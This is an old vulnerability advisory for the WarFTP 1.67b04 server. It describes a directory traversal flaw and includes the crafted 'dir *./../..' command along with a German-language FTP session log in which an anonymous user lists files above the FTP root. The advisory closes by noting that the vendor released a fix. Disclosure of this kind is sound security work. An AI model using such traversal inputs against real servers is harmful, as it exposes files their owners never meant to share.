COMMAND
Warftp
SYSTEMS AFFECTED
Warftp 1.67b04
PROBLEM
'se00020' found following. By adding a special formed argument
to the dir command, it is possible to list the /../ directory.
The command is the following: dir *./../..
Verbindung mit 10.17.3.44 wurde hergestellt.
220- Jgaa's Fan Club FTP Service WAR-FTPD 1.67-04 Ready
220 Please enter your user name.
Benutzer (10.17.3.44:(none)): anonymous
331 User name okay. Give your full Email address as password.
Kennwort:
230 User logged in, proceed.
ftp> dir
200 Port command okay.
150 Opening ASCII NO-PRINT mode data connection
for ls -l.
total 123
drwxrwxrwx 1 ftp ftp 0 Mar 2 12:17 test
-rwxrwxrwx 1 ftp ftp 6 Mar 2 12:33 movedtohomedir.txt
-rwxrwxrwx 1 ftp ftp 11 Mar 2 00:29 bisontest.txt
drwxrwxrwx 1 ftp ftp 0 Mar 3 15:59 HTTP
drwxrwxrwx 1 ftp ftp 0 Mar 3 17:05 huhu
drwxrwxrwx 1 ftp ftp 0 Mar 5 13:42 te
drwxrwxrwx 1 ftp ftp 0 Mar 5 13:42 ..te
226 Transfer finished successfully. Data connection closed.
FTP: 452 Bytes empfangen in 0,02Sekunden
22,60KB/s
ftp> cd ..
550 Permission denied.
ftp> dir *./../..
200 Port command okay.
150 Opening ASCII NO-PRINT mode data connection for ls *./../...
total 123
-rwxrwxrwx 1 ftp ftp 251658240 Mar 4 18:42 WIN386.SWP
drwxrwxrwx 1 ftp ftp 0 Jan 6 20:32 games
drwxrwxrwx 1 ftp ftp 0 Jan 7 19:58 HalfLife
....(cut here)
...
drwxrwxrwx 1 ftp ftp 0 Jan 15 22:36 delphi_zips
drwxrwxrwx 1 ftp ftp 0 Mar 4 15:00 web
drwxrwxrwx 1 ftp ftp 0 Mar 4 21:36 WEBS
226 Transfer finished successfully. Data connection closed.
FTP: 2977 Bytes empfangen in 0,07Sekunden
42,53KB/s
SOLUTION
Author of WarFtp can confirm that the problem is present in War
FTP Daemon 1.67.04. After examining the problem, it _looks_ like
the exploit is limited to listing the content one level up from
the root-directory. He was unable to access any of the listed
files or directories. He do however consider the problem as
serious and released the fix.